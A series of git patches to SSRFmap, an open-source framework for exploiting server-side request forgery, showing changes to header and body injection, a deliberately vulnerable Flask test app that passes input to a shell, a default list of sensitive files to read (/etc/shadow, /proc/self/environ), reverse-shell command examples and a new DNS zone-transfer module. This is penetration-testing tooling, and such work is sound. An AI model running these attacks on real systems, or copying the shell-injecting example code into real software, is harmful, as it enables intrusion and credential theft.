From 7a04c5bb6014424d746cd2d84abf98f714f8476d Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sat, 8 Jun 2024 20:48:06 +0200 Subject: [PATCH 1/8] Dockerfile reworked + examples --- .gitignore | 3 ++ Dockerfile | 17 ++++--- README.md | 79 ++++++++++++++++++++------------- {data => examples}/example.py | 7 ++- {data => examples}/request.txt | 0 {data => examples}/request2.txt | 0 {data => examples}/request3.txt | 0 {data => examples}/request4.txt | 0 {data => examples}/request5.txt | 0 requirements.txt | 4 +- ssrfmap.py | 10 ++--- 11 files changed, 72 insertions(+), 48 deletions(-) rename {data => examples}/example.py (89%) rename {data => examples}/request.txt (100%) rename {data => examples}/request2.txt (100%) rename {data => examples}/request3.txt (100%) rename {data => examples}/request4.txt (100%) rename {data => examples}/request5.txt (100%) diff --git a/.gitignore b/.gitignore index c2bd74f..cd42f13 100644 --- a/.gitignore +++ b/.gitignore @@ -104,3 +104,6 @@ venv.bak/ # mypy .mypy_cache/ + +# artifacts +127.0.0.1_5000/ diff --git a/Dockerfile b/Dockerfile index 9803164..e8e4908 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,9 +1,14 @@ -FROM python:3-alpine3.10 +FROM python:3.12.4-alpine -WORKDIR /opt +WORKDIR /usr/src/app +COPY . /usr/src/app -RUN apk update && apk add git -RUN git clone https://github.com/swisskyrepo/SSRFmap.git -RUN cd /opt/SSRFmap && pip install -r requirements.txt +RUN apk update && apk add curl -ENTRYPOINT ["python3","/opt/SSRFmap/ssrfmap.py"] +# Install requirements +RUN pip install -r requirements.txt + +# Downgrade privileges +USER 1000 + +ENTRYPOINT ["python3"] \ No newline at end of file diff --git a/README.md b/README.md index 8196796..7f86b00 100644 --- a/README.md +++ b/README.md @@ -45,37 +45,45 @@ The following modules are already implemented and can be used with the `-m` argu ## Install and Manual -Basic install from the Github repository. +* From the Github repository. + ```powershell + $ git clone https://github.com/swisskyrepo/SSRFmap + $ cd SSRFmap/ + $ pip3 install -r requirements.txt + $ python3 ssrfmap.py -```powershell -$ git clone https://github.com/swisskyrepo/SSRFmap -$ cd SSRFmap/ -$ pip3 install -r requirements.txt -$ python3 ssrfmap.py + usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER] + [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT] + [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]] - usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER] - [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT] - [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]] + optional arguments: + -h, --help show this help message and exit + -r REQFILE SSRF Request file + -p PARAM SSRF Parameter to target + -m MODULES SSRF Modules to enable + -l HANDLER Start an handler for a reverse shell + -v [VERBOSE] Enable verbosity + --lhost LHOST LHOST reverse shell + --lport LPORT LPORT reverse shell + --uagent USERAGENT User Agent to use + --ssl [SSL] Use HTTPS without verification + --proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080) + --level [LEVEL] Level of test to perform (1-5, default: 1) + ``` + +* Docker + ```powershell + $ git clone https://github.com/swisskyrepo/SSRFmap + $ docker build --no-cache -t ssrfmap . + $ docker run -it ssrfmap ssrfmap.py [OPTIONS] + $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py + ``` - optional arguments: - -h, --help show this help message and exit - -r REQFILE SSRF Request file - -p PARAM SSRF Parameter to target - -m MODULES SSRF Modules to enable - -l HANDLER Start an handler for a reverse shell - -v [VERBOSE] Enable verbosity - --lhost LHOST LHOST reverse shell - --lport LPORT LPORT reverse shell - --uagent USERAGENT User Agent to use - --ssl [SSL] Use HTTPS without verification - --proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080) - --level [LEVEL] Level of test to perform (1-5, default: 1) -``` ## Examples First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap. -They should look like the following. More examples are available in the **/data** folder. +They should look like the following. More examples are available in the **./examples** folder. ```powershell POST /ssrf HTTP/1.1 @@ -97,21 +105,21 @@ Use the `-m` followed by module name (separated by a `,` if you want to launch s ```powershell # Launch a portscan on localhost and read default files -python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan +python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan ``` If you need to have a custom user-agent use the `--uagent`. Some targets will use HTTPS, you can enable it with `--ssl`. ```powershell # Launch a portscan against an HTTPS endpoint using a custom user-agent -python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent" +python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent" ``` Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell. ```powershell # Triggering a reverse shell on a Redis -python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 +python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 # -l create a listener for reverse shell on the specified port # --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload @@ -127,10 +135,19 @@ When the target is protected by a WAF or some filters you can try a wide range o A quick way to test the framework can be done with `data/example.py` SSRF service. -```powershell -FLASK_APP=data/example.py flask run & -python ssrfmap.py -r data/request.txt -p url -m readfiles -``` +* Local + ```powershell + FLASK_APP=examples/example.py flask run & + python ssrfmap.py -r examples/request.txt -p url -m readfiles + ``` + +* Docker + ```ps1 + docker build --no-cache -t ssrfmap . + docker run -it -v $(pwd):/usr/src/app --name example ssrfmap examples/example.py + docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles + ``` + ## Contribute diff --git a/data/example.py b/examples/example.py similarity index 89% rename from data/example.py rename to examples/example.py index ddacbba..b255b98 100644 --- a/data/example.py +++ b/examples/example.py @@ -1,9 +1,8 @@ -# NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE) -# NOTE: this file should become a simple ssrf example in order to test SSRFmap +# NOTE: Do not try this at home - highly vulnerable ! (SSRF and RCE) +# NOTE: SSRF examples script # FLASK_APP=example.py flask run -from flask import Flask, abort, request -import json +from flask import Flask, request import re import subprocess diff --git a/data/request.txt b/examples/request.txt similarity index 100% rename from data/request.txt rename to examples/request.txt diff --git a/data/request2.txt b/examples/request2.txt similarity index 100% rename from data/request2.txt rename to examples/request2.txt diff --git a/data/request3.txt b/examples/request3.txt similarity index 100% rename from data/request3.txt rename to examples/request3.txt diff --git a/data/request4.txt b/examples/request4.txt similarity index 100% rename from data/request4.txt rename to examples/request4.txt diff --git a/data/request5.txt b/examples/request5.txt similarity index 100% rename from data/request5.txt rename to examples/request5.txt diff --git a/requirements.txt b/requirements.txt index 75e0c0d..f753748 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,2 @@ -Flask==2.3.2 -requests==2.21.0 +Flask==3.0.3 +requests==2.31.0 diff --git a/ssrfmap.py b/ssrfmap.py index 852acf4..e33ba34 100644 --- a/ssrfmap.py +++ b/ssrfmap.py @@ -17,11 +17,11 @@ def display_banner(): def parse_args(): example_text = '''Examples: - python ssrfmap.py -r data/request2.txt -p url -m portscan - python ssrfmap.py -r data/request.txt -p url -m redis - python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent" - python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 - python ssrfmap.py -r data/request.txt -p url -m readfiles --rfiles + python ssrfmap.py -r examples/request2.txt -p url -m portscan + python ssrfmap.py -r examples/request.txt -p url -m redis + python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent" + python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 + python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles ''' parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument('-r', action ='store', dest='reqfile', help="SSRF Request file") From d24997464e4fd97f5d215465084613bf8f9ce524 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sat, 8 Jun 2024 20:59:26 +0200 Subject: [PATCH 2/8] Fix SyntaxWarning --- ssrfmap.py | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/ssrfmap.py b/ssrfmap.py index e33ba34..5077082 100644 --- a/ssrfmap.py +++ b/ssrfmap.py @@ -4,16 +4,15 @@ import argparse import logging import urllib3 - def display_banner(): - print(" _____ _________________ ") - print("/ ___/ ___| ___ \ ___| ") - print("\ `--.\ `--.| |_/ / |_ _ __ ___ __ _ _ __ ") - print(" `--. \`--. \ /| _| '_ ` _ \ / _` | '_ \ ") - print("/\__/ /\__/ / |\ \| | | | | | | | (_| | |_) |") - print("\____/\____/\_| \_\_| |_| |_| |_|\__,_| .__/ ") - print(" | | ") - print(" |_| ") + print(r" _____ _________________ ") + print(r"/ ___/ ___| ___ \ ___| ") + print(r"\ `--.\ `--.| |_/ / |_ _ __ ___ __ _ _ __ ") + print(r" `--. \`--. \ /| _| '_ ` _ \ / _` | '_ \ ") + print(r"/\__/ /\__/ / |\ \| | | | | | | | (_| | |_) |") + print(r"\____/\____/\_| \_\_| |_| |_| |_|\__,_| .__/ ") + print(r" | | ") + print(r" |_| ") def parse_args(): example_text = '''Examples: From 404e0a49aa58b8d76fa6356f501dcdda9e4e6ab4 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sat, 8 Jun 2024 21:21:03 +0200 Subject: [PATCH 3/8] Adding new contributors to the readme --- README.md | 7 ++++++- modules/readfiles.py | 16 ++++++++++++++-- 2 files changed, 20 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 7f86b00..f3c1ffc 100644 --- a/README.md +++ b/README.md @@ -206,7 +206,12 @@ You can also contribute with a beer IRL or via Github Sponsor button. ### Thanks to the contributors -- [ttffdd](https://github.com/ttffdd) +
+ + + +
+ ## Inspired by diff --git a/modules/readfiles.py b/modules/readfiles.py index b9c775a..ee05a07 100644 --- a/modules/readfiles.py +++ b/modules/readfiles.py @@ -12,12 +12,24 @@ class exploit(): def __init__(self, requester, args): logging.info(f"Module '{name}' launched !") - self.files = args.targetfiles.split(',') if args.targetfiles != None else ["/etc/passwd", "/etc/lsb-release", "/etc/shadow", "/etc/hosts", "\/\/etc/passwd", "/proc/self/environ", "/proc/self/cmdline", "/proc/self/cwd/index.php", "/proc/self/cwd/application.py", "/proc/self/cwd/main.py", "/proc/self/exe"] + self.files = args.targetfiles.split(',') if args.targetfiles != None else [ + "/etc/passwd", + "/etc/lsb-release", + "/etc/shadow", + "/etc/hosts", + "\/\/etc/passwd", + "/proc/self/environ", + "/proc/self/cmdline", + "/proc/self/cwd/index.php", + "/proc/self/cwd/application.py", + "/proc/self/cwd/main.py", + "/proc/self/exe" + ] self.file_magic = {'elf' : bytes([0x7f, 0x45, 0x4c, 0x46])} r = requester.do_request(args.param, "") - if r != None: + if r is not None: default = r.text # Create directory to store files From febd5df7634e5cfdf8d134c4b852cc45645d4f04 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sat, 8 Jun 2024 21:53:36 +0200 Subject: [PATCH 4/8] Injection in headers --- README.md | 19 ++++++++++++++++++- core/requester.py | 17 +++++++++++++---- examples/example.py | 9 +++++++++ examples/request6.txt | 10 ++++++++++ 4 files changed, 50 insertions(+), 5 deletions(-) create mode 100644 examples/request6.txt diff --git a/README.md b/README.md index f3c1ffc..1930885 100644 --- a/README.md +++ b/README.md @@ -108,6 +108,12 @@ Use the `-m` followed by module name (separated by a `,` if you want to launch s python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan ``` +If you want to inject inside a header, a GET or a POST parameter, you only need to specify the parameter name + +```powershell +python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test +``` + If you need to have a custom user-agent use the `--uagent`. Some targets will use HTTPS, you can enable it with `--ssl`. ```powershell @@ -115,7 +121,7 @@ If you need to have a custom user-agent use the `--uagent`. Some targets will us python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent" ``` -Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell. +Some modules allow you to create a connect back, you have to specify `LHOST` and `LPORT`. Also SSRFmap can listen for the incoming reverse shell. ```powershell # Triggering a reverse shell on a Redis @@ -148,6 +154,17 @@ A quick way to test the framework can be done with `data/example.py` SSRF servic docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles ``` +Launch the tests requests: + +```ps1 +docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue +``` + ## Contribute diff --git a/core/requester.py b/core/requester.py index a9207ee..1382874 100644 --- a/core/requester.py +++ b/core/requester.py @@ -75,6 +75,15 @@ class Requester(object): def do_request(self, param, value, timeout=3, stream=False): try: + # Handle injection in the headers + # Copying data to avoid multiple variables edit + header_injected = self.headers.copy() + if param in self.headers: + header_injected[param] = value + print('inject in header') + print(header_injected) + + if self.method == "POST": # Copying data to avoid multiple variables edit data_injected = self.data.copy() @@ -86,7 +95,7 @@ class Requester(object): if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']: r = requests.post( self.protocol + "://" + self.host + self.action, - headers=self.headers, + headers=header_injected, json=data_injected, timeout=timeout, stream=stream, @@ -99,7 +108,7 @@ class Requester(object): if param == '': data_injected = value r = requests.post( self.protocol + "://" + self.host + self.action, - headers=self.headers, + headers=header_injected, data=data_injected, timeout=timeout, stream=stream, @@ -116,7 +125,7 @@ class Requester(object): r = requests.post( self.protocol + "://" + self.host + self.action, - headers=self.headers, + headers=header_injected, data=data_xml, timeout=timeout, stream=stream, @@ -137,7 +146,7 @@ class Requester(object): data_injected = re.sub(regex, param+'='+value, self.action) r = requests.get( self.protocol + "://" + self.host + data_injected, - headers=self.headers, + headers=header_injected, timeout=timeout, stream=stream, verify=False, diff --git a/examples/example.py b/examples/example.py index b255b98..25c674f 100644 --- a/examples/example.py +++ b/examples/example.py @@ -48,6 +48,15 @@ def ssrf4(): except Exception as e: return e + +# curl -v "http://127.0.0.1:5000/ssrf5" -H 'X-Custom-Header: http://example.com' +@app.route("/ssrf5", methods=['GET']) +def ssrf5(): + data = request.headers.get('X-Custom-Header') + content = command(f"curl {data}") + return content + + def command(cmd): proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True) (out, err) = proc.communicate() diff --git a/examples/request6.txt b/examples/request6.txt new file mode 100644 index 0000000..34c37fb --- /dev/null +++ b/examples/request6.txt @@ -0,0 +1,10 @@ +GET /ssrf5 HTTP/1.1 +Host: 127.0.0.1:5000 +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://mysimple.ssrf/ +X-Custom-Header: http://example.com +Connection: close +Upgrade-Insecure-Requests: 1 \ No newline at end of file From 92146f2bcd8557d6c53cc7f0bf0ca3aee701afb2 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sat, 8 Jun 2024 23:29:47 +0200 Subject: [PATCH 5/8] Fix XML inject + example 4 --- core/requester.py | 34 ++++++++++++++++++---------------- examples/example.py | 10 ++++++---- modules/readfiles.py | 1 - 3 files changed, 24 insertions(+), 21 deletions(-) diff --git a/core/requester.py b/core/requester.py index 1382874..6c3aab5 100644 --- a/core/requester.py +++ b/core/requester.py @@ -103,20 +103,8 @@ class Requester(object): proxies=self.proxies ) - # Handle FORM data - else: - if param == '': data_injected = value - r = requests.post( - self.protocol + "://" + self.host + self.action, - headers=header_injected, - data=data_injected, - timeout=timeout, - stream=stream, - verify=False, - proxies=self.proxies - ) - else: - if self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']: + # Handle XML data + elif self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']: if "*FUZZ*" in data_injected['__xml__']: # replace the injection point with the payload @@ -136,9 +124,23 @@ class Requester(object): else: logging.error("No injection point found ! (use -p)") exit(1) + + # Handle FORM data else: - logging.error("No injection point found ! (use -p)") - exit(1) + if param == '': data_injected = value + r = requests.post( + self.protocol + "://" + self.host + self.action, + headers=header_injected, + data=data_injected, + timeout=timeout, + stream=stream, + verify=False, + proxies=self.proxies + ) + + else: + logging.error("No injection point found ! (use -p)") + exit(1) else: # String is immutable, we don't have to do a "forced" copy regex = re.compile(param+"=([^&]+)") diff --git a/examples/example.py b/examples/example.py index 25c674f..0137194 100644 --- a/examples/example.py +++ b/examples/example.py @@ -5,6 +5,7 @@ from flask import Flask, request import re import subprocess +import urllib.parse app = Flask(__name__) @@ -39,15 +40,16 @@ def ssrf3(): @app.route("/ssrf4", methods=['POST']) def ssrf4(): data = request.data - print(data.decode()) regex = re.compile("url>(.*?) Date: Sun, 9 Jun 2024 00:52:09 +0200 Subject: [PATCH 6/8] Fix JSON and headers for raw data --- core/requester.py | 40 +++++++++++++++++++++++++++++++--------- 1 file changed, 31 insertions(+), 9 deletions(-) diff --git a/core/requester.py b/core/requester.py index 6c3aab5..971e777 100644 --- a/core/requester.py +++ b/core/requester.py @@ -29,6 +29,9 @@ class Requester(object): # Parse headers for header in content[1:]: + if header == '': + # edge-case, when data is sent raw (json/xml) + break name, _, value = header.partition(': ') if not name or not value: continue @@ -75,16 +78,21 @@ class Requester(object): def do_request(self, param, value, timeout=3, stream=False): try: + # Debug information + logging.debug(f"Request param: {param}") + logging.debug(f"Request value: {value}") + logging.debug(f"Request timeout: {timeout}") + # Handle injection in the headers # Copying data to avoid multiple variables edit header_injected = self.headers.copy() - if param in self.headers: + if param in header_injected: header_injected[param] = value - print('inject in header') - print(header_injected) - + logging.debug("Request inject: Injecting payload in HTTP Header") + logging.debug(f"Request method: {self.method}") if self.method == "POST": + # Copying data to avoid multiple variables edit data_injected = self.data.copy() @@ -93,10 +101,13 @@ class Requester(object): # Handle JSON data if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']: + logging.debug("Request type: JSON") + logging.debug(f"Request data: {data_injected}") + r = requests.post( self.protocol + "://" + self.host + self.action, - headers=header_injected, - json=data_injected, + data=json.dumps(data_injected), + headers=self.headers, timeout=timeout, stream=stream, verify=False, @@ -105,16 +116,20 @@ class Requester(object): # Handle XML data elif self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']: + logging.debug("Request type: XML") + if "*FUZZ*" in data_injected['__xml__']: + logging.debug("Request inject: XML parameter") # replace the injection point with the payload data_xml = data_injected['__xml__'] data_xml = data_xml.replace('*FUZZ*', value) + logging.debug(f"Request data: {data_xml}") r = requests.post( - self.protocol + "://" + self.host + self.action, - headers=header_injected, + self.protocol + "://" + self.host + self.action, data=data_xml, + headers=self.headers, timeout=timeout, stream=stream, verify=False, @@ -127,7 +142,12 @@ class Requester(object): # Handle FORM data else: - if param == '': data_injected = value + if param == '': + logging.debug("Request inject: POST raw data") + data_injected = value + else: + logging.debug("Request inject: POST parameter") + r = requests.post( self.protocol + "://" + self.host + self.action, headers=header_injected, @@ -142,6 +162,8 @@ class Requester(object): logging.error("No injection point found ! (use -p)") exit(1) else: + logging.debug("Request inject: GET parameter") + # String is immutable, we don't have to do a "forced" copy regex = re.compile(param+"=([^&]+)") value = urllib.parse.quote(value, safe='') From 4e92e88913ed4e70c68ac85136e1385e0c4bbc1d Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sun, 9 Jun 2024 01:13:53 +0200 Subject: [PATCH 7/8] Adding verbosity feature --- modules/readfiles.py | 6 +++--- ssrfmap.py | 14 ++++++++++---- 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/modules/readfiles.py b/modules/readfiles.py index ac7505a..4a39417 100644 --- a/modules/readfiles.py +++ b/modules/readfiles.py @@ -47,9 +47,9 @@ class exploit(): # Display diff between default and ssrf request logging.info(f"\033[32mReading file\033[0m : {f}") if bytes(diff, encoding='utf-8').startswith(self.file_magic["elf"]): - print("ELF binary found - not printing to stdout") + logging.info("ELF binary found - not printing to stdout") else: - print(diff) + logging.info(diff) # Write diff to a file filename = f.replace('\\','_').replace('/','_') @@ -58,4 +58,4 @@ class exploit(): f.write(diff) else: - print("Empty response") + logging.info("Empty response") diff --git a/ssrfmap.py b/ssrfmap.py index 5077082..db746b8 100644 --- a/ssrfmap.py +++ b/ssrfmap.py @@ -27,7 +27,7 @@ def parse_args(): parser.add_argument('-p', action ='store', dest='param', help="SSRF Parameter to target") parser.add_argument('-m', action ='store', dest='modules', help="SSRF Modules to enable") parser.add_argument('-l', action ='store', dest='handler', help="Start an handler for a reverse shell", nargs='?', const='1') - parser.add_argument('-v', action ='store', dest='verbose', help="Enable verbosity", nargs='?', const=True) + parser.add_argument('-v', action ='store_true', dest='verbose', help="Enable verbosity") parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell") parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell") parser.add_argument('--rfiles', action ='store', dest='targetfiles', help="Files to read with readfiles module", nargs='?', const=True) @@ -57,10 +57,16 @@ if __name__ == "__main__": ] ) - logging.addLevelName( logging.WARNING, "\033[1;31m%s\033[1;0m" % logging.getLevelName(logging.WARNING)) - logging.addLevelName( logging.ERROR, "\033[1;41m%s\033[1;0m" % logging.getLevelName(logging.ERROR)) + logging.addLevelName(logging.WARNING, "\033[1;31m%s\033[1;0m" % logging.getLevelName(logging.WARNING)) + logging.addLevelName(logging.ERROR, "\033[1;41m%s\033[1;0m" % logging.getLevelName(logging.ERROR)) display_banner() - # SSRFmap + # handle verbosity args = parse_args() + if args.verbose is True: + logging.getLogger().setLevel(logging.DEBUG) + logging.debug("Verbose output is enabled") + + # SSRFmap ssrf = SSRF(args) + From d431d336bf839cde5a412034c0a1e43332a03931 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Mon, 10 Jun 2024 14:56:13 +0200 Subject: [PATCH 8/8] AXFR module - DNS Zone Transfer --- Dockerfile | 8 +++- README.md | 50 ++++++++++++-------- examples/curl-7.71.0.tar.gz | Bin 0 -> 4032711 bytes examples/ssrf_dns.py | 50 ++++++++++++++++++++ modules/axfr.py | 91 ++++++++++++++++++++++++++++++++++++ requirements.txt | 3 ++ ssrfmap.py | 5 +- 7 files changed, 184 insertions(+), 23 deletions(-) create mode 100644 examples/curl-7.71.0.tar.gz create mode 100644 examples/ssrf_dns.py create mode 100644 modules/axfr.py diff --git a/Dockerfile b/Dockerfile index e8e4908..126e642 100644 --- a/Dockerfile +++ b/Dockerfile @@ -3,7 +3,13 @@ FROM python:3.12.4-alpine WORKDIR /usr/src/app COPY . /usr/src/app -RUN apk update && apk add curl +RUN apk update + +# Install curl with outdated libcurl +RUN apk add --update build-base cmake c-ares-dev +RUN cp examples/curl-7.71.0.tar.gz /tmp +RUN tar -xvf /tmp/curl-7.71.0.tar.gz -C /tmp/ +RUN cd /tmp/curl-7.71.0 && ./configure --enable-ares && make && make install # Install requirements RUN pip install -r requirements.txt diff --git a/README.md b/README.md index 1930885..a18c658 100644 --- a/README.md +++ b/README.md @@ -19,28 +19,29 @@ SSRF are often used to leverage actions on other services, this framework aims t The following modules are already implemented and can be used with the `-m` argument. -| Name | Description | -| :------------- | :------------- | -| `fastcgi` | FastCGI RCE | -| `redis` | Redis RCE | -| `github` | Github Enterprise RCE < 2.8.7 | -| `zabbix` | Zabbix RCE | -| `mysql` | MySQL Command execution | -| `postgres` | Postgres Command execution | -| `docker` | Docker Infoleaks via API | -| `smtp` | SMTP send mail | -| `portscan` | Scan top 8000 ports for the host | -| `networkscan` | HTTP Ping sweep over the network | -| `readfiles` | Read files such as `/etc/passwd` | +| Name | Description | +| :------------- | :------------------------------------------------------- | +| `axfr` | DNS zone transfers (AXFR) | +| `fastcgi` | FastCGI RCE | +| `redis` | Redis RCE | +| `github` | Github Enterprise RCE < 2.8.7 | +| `zabbix` | Zabbix RCE | +| `mysql` | MySQL Command execution | +| `postgres` | Postgres Command execution | +| `docker` | Docker Infoleaks via API | +| `smtp` | SMTP send mail | +| `portscan` | Scan top 8000 ports for the host | +| `networkscan` | HTTP Ping sweep over the network | +| `readfiles` | Read files such as `/etc/passwd` | | `alibaba` | Read files from the provider (e.g: meta-data, user-data) | | `aws` | Read files from the provider (e.g: meta-data, user-data) | | `gce` | Read files from the provider (e.g: meta-data, user-data) | | `digitalocean` | Read files from the provider (e.g: meta-data, user-data) | -| `socksproxy` | SOCKS4 Proxy | -| `smbhash` | Force an SMB authentication via a UNC Path | -| `tomcat` | Bruteforce attack against Tomcat Manager | -| `custom` | Send custom data to a listening service, e.g: netcat | -| `memcache` | Store data inside the memcache instance | +| `socksproxy` | SOCKS4 Proxy | +| `smbhash` | Force an SMB authentication via a UNC Path | +| `tomcat` | Bruteforce attack against Tomcat Manager | +| `custom` | Send custom data to a listening service, e.g: netcat | +| `memcache` | Store data inside the memcache instance | ## Install and Manual @@ -63,8 +64,8 @@ The following modules are already implemented and can be used with the `-m` argu -m MODULES SSRF Modules to enable -l HANDLER Start an handler for a reverse shell -v [VERBOSE] Enable verbosity - --lhost LHOST LHOST reverse shell - --lport LPORT LPORT reverse shell + --lhost LHOST LHOST reverse shell or IP to target in the network + --lport LPORT LPORT reverse shell or port to target in the network --uagent USERAGENT User Agent to use --ssl [SSL] Use HTTPS without verification --proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080) @@ -150,7 +151,14 @@ A quick way to test the framework can be done with `data/example.py` SSRF servic * Docker ```ps1 docker build --no-cache -t ssrfmap . + + # run example ssrf http service docker run -it -v $(pwd):/usr/src/app --name example ssrfmap examples/example.py + + # run example ssrf dns service + docker exec -u root:root -it example python examples/ssrf_dns.py + + # run ssrfmap tool docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles ``` @@ -163,6 +171,8 @@ docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m rea docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr +docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab ``` diff --git a/examples/curl-7.71.0.tar.gz b/examples/curl-7.71.0.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..46124328679b2de432918b72edf08b349af9d043 GIT binary patch literal 4032711 zcmV)NK)1giiwFP!000021MEEgbK*v_`|I&nOt|B0=RhC~#`fCIc`>_7on!AAyqi>< zb%Yo!y%iGC2(!G}%HRIFduH^3LB@EKdsh|ivIb3ePfveM_h@G9Y3Nm2M$0s6)fd0h zrv{%^vx$GrR)B z%1+$`8S^Wr2JCQxz2mKAx%FCoztV-h{Bh6Nm3zO{-d}iU9*&vs{-Ks|Htc`@ aSA6G=qz+`hC3i{gba;$B7mJI zaL*5vly&k-B~~%eEd}BRRi+P+b&6cY5gc8-(~OesrufGJTaI=yjB@|C@3vzpcUP)q zJ-E*+?P{}C-K#b#ofZ|{N M*p8N;NH16 zR(jPdG3$#x$Xzg*Lkl{Fq}B>#-&wrw%Xec1=E?N}!s4x%tqe2z{w;?Y$ou+0z5Lts zd0bpr6O`}_EA<%B2+p6R%AKbT(ljgdwK%Z}%*Ec7^Avw#>%aLEQ3EWEw%=|i)PM8J zrLp>Nt@eJivEO`AXT>4gFG_8!|F+%v|JLi&wln{&_8!jvPRzfqUDY-?|INBv|FPL< z;r#E+{QEcVR44WweEm-vk?* @7)ZZr=x?R6FR } zunRBF?+n#CeBb)u_VgYezHifyfBf;stCxTN`Df&d*2)(JkpEFPuN3_^K6>_wrw5(m z=kEWn>;D H|Td!|F5&xME$>!pTCq+EI?3(ndyJ3I?t4;dbrT7@wzk>-p55c zotF%lYFGaDw}?gg+uvL@SGw$e`FQz17Xx>>V6R#7s+RU23}vc~E2o ~r@YgI`0Sg3Fl(_wK69=OAz1zct!jCbi~9s7L5m7n*yackr%K zD$3RP#=%urw!h}9tlaA8-r5vY?R6oCI(ru#d3QfCa;FNN?h@r!uxcC7%Wk=@daJbF zP1L`Mkj@}3WNm#4%JHx+OxxDn1!iJuW7WIOCOSC9N+M(pTR7)nQByBl?A~y}bbs^L z%Zi5Y{!Y6Oho72-;R=?vhr^4LjUWjgob=Ct@h!LK3xHbS#K&MLaO%U@3Y`2TG{sDR zIMFH|=8DnagT^)Kxgm2+wmcTDNrnN>Gr4k@*l)#5L SRW*HduMWf+( zJYpSLTu~~QBhOFSHlDk^%f6skPmW8a^3SiSTlmJ?Ell>-Ji=U1N8RCoCC!XJANN9- z7mwWzBX4w!xJI 